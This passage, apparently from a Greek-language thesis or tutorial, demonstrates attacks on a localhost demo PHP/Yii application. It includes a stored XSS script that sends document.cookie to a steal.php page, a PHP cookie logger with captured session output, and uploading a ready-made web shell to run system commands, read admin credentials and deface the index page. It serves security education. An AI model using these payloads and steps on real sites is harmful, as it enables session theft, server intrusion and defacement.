Παρουσιάζονται αδυναµίες σχετικά µε πληροφορίες που αποκαλύπτει ο server, µη ασφαλής µετάδοση πληροφοριών µέσω cookies και φορµών και µία σοβαρή αδυναµία sql injection στο υποσέλιδο err.php. Ας προχωρήσουµε κι άλλο όµως. Στην σελίδα βλέπουµε πως υπάρχει και µία καρτέλα µε τίτλο Board. Πρόκειται για ένα πολύ απλό πίνακα σχολίων. Ας δούµε πως δουλεύει. Σε ένα text πεδίο εισάγουµε το µήνυµά µας και το αποστέλλουµε. 55

Η εφαρµογή µας ενηµερώνει ότι ήταν επιτυχής η δηµοσίευσή µας και µας παραπέµπει να γυρίσουµε στην προηγούµενη σελίδα για να το δούµε. Θα προσπαθήσουµε να δούµε αν αυτός ο πίνακας είναι ευάλωτος σε xss. Ας γράψουµε πρώτα κάτι πολύ απλό όπως <u>hello</u>. Βλέπουµε πως το µήνυµά µας βγήκε υπογραµµισµένο. Αυτό µας δείχνει πως πιθανώς να µπορούµε να κάνουµε πολλά περισσότερα από απλή µορφοποίηση στο κείµενό µας. Γράφουµε λοιπόν: <a href="http://localhost/hack.php">amazing!!must SEE!!</a> Το µήνυµα που εµφανίζεται στον πίνακα είναι: 56

Τι θα συµβεί αν κάποιος ακολουθήσει τον σύνδεσµο; Ο σύνδεσµος δείχνει σε ένα αρχείο που βρίσκεται στον server και εµφανίζει ως alert το cookie που βρίσκει στο browser. Φανταστείτε τι θα µπορούσε να συµβεί αν ο κώδικας δεν ήταν και τόσο φιλικός. Κι αν το cookie είχε άλλο προορισµό; Για παράδειγµα, έστω ότι έχουµε το παρακάτω αρχείο Error.php. <?php $cookie=$_get['cookie']; $data=date("i ds of F Y h:i:s A"); $user_agent=$_server['http_user_agent']; $file=fopen('log.txt','w'); fwrite($file,"date :$data USER AGENT:$user_agent cookie:$cookie\n"); fclose($file);?> 57

Η µεταβλητή $cookie δέχεται τις πληροφορίες από το αντικείµενο document.cookie που έχουµε δώσει στον κακόβουλο σύνδεσµο. Επίσης ζητά κάποιες πληροφορίες από το server και όλα αυτά τα δεδοµένα αποθηκεύει στο log.txt που βρίσκεται στον ίδιο κατάλογο. Στη συνέχεια ανεβάζουµε στον πίνακα σχολίων τον εξής κώδικα: <script>document.location="http://localhost/steal.php?cookie="+document.cookie;</script> Με αυτή µας την ανάρτηση κάθε φορά που κάποιος θα προσπαθήσει να ανοίξει την σελίδα Board αυτός ο κώδικας θα εκτελείται και θα ανακατευθυνόµαστε στην Error.php η οποία µε τη σειρά της µας στέλνει πίσω στην αρχική σελίδα της εφαρµογής µας. Ας κοιτάξουµε όµως και στο log.txt αρχείο τι υπάρχει. DATE :0 2720 2012f March 2012 05:43:20 PM USER AGENT:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 cookie:cookie=ee111; PHPSESSID=6q8rokfsvtkg3fsbau0gmlrr60 Βλέπουµε ότι καταφέραµε να πάρουµε το username και το session id του χρήστη που προσπάθησε να µπει στην σελίδα Board.php µαζί µε κάποιες πληροφορίες για τον browser, το λειτουργικό που χρησιµοποιεί και την ώρα που έγινε η κλοπή. Στην αρχή αυτής της ενότητας είπαµε πως θα χρησιµοποιήσουµε os command επίθεση κατά της ιστοσελίδας. Αυτό για να το επιτύχουµε ξέρουµε πως χρειαζόµαστε σε κάποιο σηµείο σε ένα αρχείο στον server να υπάρχει κάποια συνάρτηση όπως system(); passthru(); κτλ. Αν δεν υπάρχει στον κώδικα τότε θα πρέπει να ανεβάσουµε εµείς κάποιο τέτοιο αρχείο(shell). Τέτοια αρχεία µπορούµε να γράψουµε αλλά υπάρχουν έτοιµα και µε µια απλή αναζήτηση στο διαδίκτυο µπορούµε να βρούµε διαθέσιµα µε πολλές δυνατότητες. Εµείς σε αυτό το παράδειγµα θα χρησιµοποιήσουµε ένα shell.php από την IT SEC TEAM. Ο developer της ιστοσελίδας έχει δώσει τη δυνατότητα στους χρήστες να ανεβάζουν και να αποθηκεύουν σε κάποιο χώρο του server δικά τους αρχεία (τυχαίο;) για να τα χρησιµοποιήσουν στο µέλλον. Αναρτούµε λοιπόν το συγκεκριµένο αρχείο. 58

Και για να το προσπελάσουµε- κατεβάσουµε µας δίνει και τον δικό µας κατάλογο που αποθηκεύτηκε. Αν εισάγουµε στον browser τώρα τη διεύθυνση του αρχείου θα πάρουµε την εξής σελίδα. Το συγκεκριµένο shell µας δίνει πολλές δυνατότητες. Ας δούµε όµως την καρτέλα command execute. 59

Επιλέγουµε µε ποια συνάρτηση θέλουµε να περάσουµε τις εντολές µας. Γνωρίζουµε ότι ο server τρέχει πάνω σε λειτουργικό windows. Αν δώσουµε την εντολή dir θα πάρουµε το παρακάτω αποτέλεσµα.( Με την συνάρτηση passthru θα δούµε ότι µπορούµε να εκτελούµε και εντολές unix) Άρα µπορούµε να αρχίσουµε να βλέπουµε τη δοµή όχι µόνο της εφαρµογής αλλά να πειράζουµε και αρχεία που βρίσκονται και σε άλλα σηµεία του server. Πχ. αν δώσουµε την εντολή ls c:\wamp\www\demo\ θα µας επιστραφεί ότι υπάρχει στον root κατάλογο της εφαρµογής. 60

Αν προχωρήσουµε κι άλλο θα δούµε πως έτσι µπορούµε να έχουµε πρόσβαση σε προστατευµένα από το framework της εφαρµογής αρχεία όπως η main.php του yii framework µέσω της οποίας µπορούµε να πάρουµε τον κωδικό του admin για τη διαχείριση της βάσης µέσω της ιστοσελίδας(αυτό είναι ένα εργαλείο που διαθέτει το yii framework). Επίσης θα µπορούσαµε να εκτελέσουµε εντολές δικτύου όπως η net users. Οποιαδήποτε εντολή µπορεί να εκτελεστεί και να µας δώσει πληροφορίες για το σύστηµα είναι υπέρ µας(ως hacker). Τέλος για να ολοκληρώσουµε την επίθεσή µας ας κάνουµε κάτι το οποίο είναι πολύ δηµοφιλές στους κύκλους των hacker. Defacement! Θα αλλάξουµε την index σελίδα της εφαρµογής µε µία δικής µας. Με τη βοήθεια του shell η νέα index.php γίνεται: Η ίδια διαδικασία θα µπορούσε να γίνει αντιγράφοντας τη δική µας index.php στον root κατάλογο της εφαρµογής(µε os command) αφού πρώτα την είχαµε ανεβάσει σαν αρχείο από την καρτέλα 61